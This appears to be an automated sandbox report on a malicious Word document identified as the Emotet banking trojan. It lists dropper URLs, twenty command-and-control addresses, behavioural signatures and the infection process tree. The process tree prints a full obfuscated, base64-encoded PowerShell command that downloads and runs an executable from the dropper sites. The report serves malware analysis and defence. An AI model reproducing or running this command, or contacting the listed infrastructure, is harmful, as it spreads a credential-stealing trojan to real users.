Overview

overview

10

Static

static

8

E1_309a7c9...0_.DOC

windows7_x64

10

E1_309a7c9...0_.DOC

windows10_x64

10

Analysis

  • max time kernel
    76s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    16/09/2020, 19:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    E1_309a7c90bf99fbe1b4d1efc8dfc82b8d0b0fdeacdddbb44061abf4ab98ff2320_2020-09-16_17-53-00_.DOC
  • Size 171KB
  • Sample200916-pwp63ctpsx
  • SHA256 309a7c90bf99fbe1b4d1efc8dfc82b8d0b0fdeacdddbb44061abf4ab98ff2320
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://smartfarmsky.com/kdxhp/K/
  • exe.dropper

    https://theonesmartpiano.com/wp-admin/css/colors/modern/W/
  • exe.dropper

    https://www.breedenandsilver.com/wp-content/W3/
  • exe.dropper

    https://blog.workshots.net/bibqcr9/GSB/
  • exe.dropper

    https://lggpm.live/cgi-bin/Yq/
  • exe.dropper

    https://sodalite.life/wp-content/uploads/Fl/
  • exe.dropper

    https://classroom.live/wp-content/OlY/

Extracted

Family

  • emotet

C2

  • 174.113.69.136:80

  • 51.38.124.206:80

  • 82.196.15.205:8080

  • 38.88.126.202:8080

  • 190.115.18.139:8080

  • 98.13.75.196:80

  • 181.30.61.163:443

  • 82.76.111.249:443

  • 181.129.96.162:8080

  • 74.58.215.226:80

  • 68.69.155.181:80

  • 188.135.15.49:80

  • 190.163.31.26:80

  • 50.121.220.50:80

  • 51.159.23.217:443

  • 2.47.112.152:80

  • 185.215.227.107:443

  • 217.13.106.14:8080

  • 70.32.115.157:8080

  • 170.81.48.2:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E1_309a7c90bf99fbe1b4d1efc8dfc82b8d0b0fdeacdddbb44061abf4ab98ff2320_2020-09-16_17-53-00_.DOC"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:672
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABaAHEAcQBwADkANwBoAD0AKAAoACcAVQB2AF8AMQBpACcAKwAnAHIAJwApACsAJwBpACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAdQBTAEUAUgBwAFIATwBGAGkATABlAFwAbgB5AGwANAByAFQAVwBcAG8ATgBLAEcAbwBNAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQByAGkAVAB5AFAAcgBPAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAMQAyACcAKwAnACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAeQB2AHMANAByAGcAIAA9ACAAKAAoACcARwA0ACcAKwAnAHoAMgBsAF8AJwApACsAJwBuACcAKQA7ACQAWgA5AGQANgAwADAAZgA9ACgAKAAnAEMAdwB0AG0AJwArACcAYQAnACkAKwAnADMAJwArACcAOQAnACkAOwAkAEsAdwB1AHkAaABpAGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0AHkAWgAnACsAJwBOACcAKQArACcAeQAnACsAJwBsACcAKwAoACcANAByAHQAdwA0ACcAKwAnAHkAWgAnACsAJwBPACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAZwBvAG0AdgA0AHkAJwArACcAWgAnACkAKQAuACIAUgBlAFAAYABsAEEAYABjAEUAIgAoACgAWwBjAGgAQQByAF0ANQAyACsAWwBjAGgAQQByAF0AMQAyADEAKwBbAGMAaABBAHIAXQA5ADAAKQAsACcAXAAnACkAKQArACQAVAB5AHYAcwA0AHIAZwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwANgBfADcAdAA3AG8APQAoACgAJwBEAGEAMAAnACsAJwB2ACcAKQArACcAeAAnACsAJwA1AHoAJwApADsAJABQADMAawA2AGEAcgB0AD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcARQBCAGMATABJAGUATgBUADsAJABTADkAZQAyAG8ANQAwAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAcwAnACsAJwBtAGEAcgB0ACcAKwAnAGYAYQAnACkAKwAoACcAcgBtAHMAawB5AC4AYwAnACsAJwBvAG0AJwArACcALwBrAGQAeABoACcAKQArACgAJwBwAC8ASwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0AGgAJwArACcAZQBvAG4AJwArACcAZQBzAG0AYQAnACsAJwByACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAaQBhAG4AJwArACcAbwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAALQAnACsAJwBhAGQAbQBpACcAKwAnAG4AJwArACcALwBjAHMAcwAnACkAKwAoACcALwAnACsAJwBjACcAKwAnAG8AbABvAHIAcwAvAG0AJwApACsAKAAnAG8AZAAnACsAJwBlAHIAJwApACsAJwBuAC8AJwArACgAJwBXACcAKwAnAC8AKgBoAHQAJwApACsAJwB0ACcAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvAHcAJwApACsAKAAnAHcAdwAnACsAJwAuAGIAcgAnACkAKwAnAGUAJwArACgAJwBlACcAKwAnAGQAZQAnACkAKwAoACcAbgBhACcAKwAnAG4AJwApACsAKAAnAGQAcwAnACsAJwBpAGwAdgBlACcAKQArACgAJwByAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AdwBwAC0AYwBvAG4AdABlACcAKwAnAG4AdAAvACcAKwAnAFcAJwApACsAKAAnADMAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwAHMAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAGIAbABvAGcALgAnACsAJwB3AG8AcgBrACcAKwAnAHMAaABvAHQAcwAnACsAJwAuAG4AZQB0AC8AJwArACcAYgBpACcAKQArACcAYgAnACsAKAAnAHEAYwByACcAKwAnADkALwAnACsAJwBHACcAKQArACgAJwBTACcAKwAnAEIALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvACcAKwAnAGwAZwAnACkAKwAoACcAZwBwAG0ALgAnACsAJwBsAGkAJwArACcAdgBlAC8AJwApACsAKAAnAGMAJwArACcAZwBpAC0AYgBpACcAKQArACgAJwBuACcAKwAnAC8AWQBxACcAKQArACcALwAnACsAKAAnACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACcAOgAnACsAKAAnAC8ALwBzAG8AZAAnACsAJwBhAGwAJwApACsAKAAnAGkAdAAnACsAJwBlAC4AbABpACcAKQArACgAJwBmAGUAJwArACcALwB3ACcAKQArACgAJwBwAC0AYwAnACsAJwBvAG4AdAAnACkAKwAoACcAZQBuAHQAJwArACcALwAnACkAKwAoACcAdQAnACsAJwBwAGwAJwApACsAKAAnAG8AJwArACcAYQBkACcAKQArACcAcwAvACcAKwAnAEYAbAAnACsAKAAnAC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcABzADoALwAvACcAKwAnAGMAbABhAHMAcwAnACsAJwByAG8AJwArACcAbwAnACkAKwAoACcAbQAuAGwAJwArACcAaQAnACkAKwAoACcAdgAnACsAJwBlAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACcALQBjACcAKwAoACcAbwAnACsAJwBuAHQAZQAnACkAKwAoACcAbgAnACsAJwB0AC8ATwAnACkAKwAoACcAbAAnACsAJwBZAC8AJwApACkALgAiAFMAYABwAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwB2AHAAXwAzAG0AdAA9ACgAKAAnAEsAJwArACcAdQB4ACcAKQArACcAeAA5ACcAKwAnADcAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABUAHAAeQBoAG8AeAAzACAAaQBuACAAJABTADkAZQAyAG8ANQAwACkAewB0AHIAeQB7ACQAUAAzAGsANgBhAHIAdAAuACIARABgAE8AdwBuAGAAbABgAG8AQQBEAGYASQBsAEUAIgAoACQAVABwAHkAaABvAHgAMwAsACAAJABLAHcAdQB5AGgAaQBmACkAOwAkAFcAYgBrAHEAXwByAG0APQAoACcATwAnACsAJwBhACcAKwAoACcAegA5ACcAKwAnAF8AdgAzACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAdwB1AHkAaABpAGYAKQAuACIATABgAGUAbgBHAFQAaAAiACAALQBnAGUAIAAyADUAMwAxADcAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwB3AHUAeQBoAGkAZgApADsAJABOAGoAcQBtADAANgBlAD0AKAAoACcARQAnACsAJwByADAAJwApACsAJwBpACcAKwAoACcAMwAnACsAJwBmAGoAJwApACkAOwBiAHIAZQBhAGsAOwAkAE0AMQB3AHQAaQBfAHcAPQAoACcASAAnACsAKAAnAHAAMwB4AHYAJwArACcANgA2ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAHoAcAB4ADQAZgA4AD0AKAAnAEUAZQAnACsAKAAnADYAJwArACcAXwBuADgAJwApACsAJwA0ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Users\Admin\Nyl4rtw\Onkgomv\G4z2l_n.exe
      "C:\Users\Admin\Nyl4rtw\Onkgomv\G4z2l_n.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1116
      • C:\Windows\SysWOW64\aaclient\d3d11.exe
        "C:\Windows\SysWOW64\aaclient\d3d11.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1520

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/672-2-0x00000000088D0000-0x00000000088D4000-memory.dmp
        Download

        memory/752-22-0x000007FEF7AF0000-0x000007FEF7D6A000-memory.dmp
        Download

        memory/1116-15-0x0000000000310000-0x0000000000322000-memory.dmp
        Download

        memory/1116-16-0x0000000000330000-0x0000000000340000-memory.dmp
        Download

        memory/1520-20-0x00000000002C0000-0x00000000002D2000-memory.dmp
        Download

        memory/1520-21-0x00000000002E0000-0x00000000002F0000-memory.dmp
        Download

        memory/1972-11-0x000000001C370000-0x000000001C371000-memory.dmp
        Download

        memory/1972-12-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1972-10-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1972-9-0x0000000002440000-0x0000000002441000-memory.dmp
        Download

        memory/1972-8-0x000000001ACA0000-0x000000001ACA1000-memory.dmp
        Download

        memory/1972-7-0x0000000002360000-0x0000000002361000-memory.dmp
        Download

        memory/1972-6-0x000007FEF18E0000-0x000007FEF22CC000-memory.dmp
        Download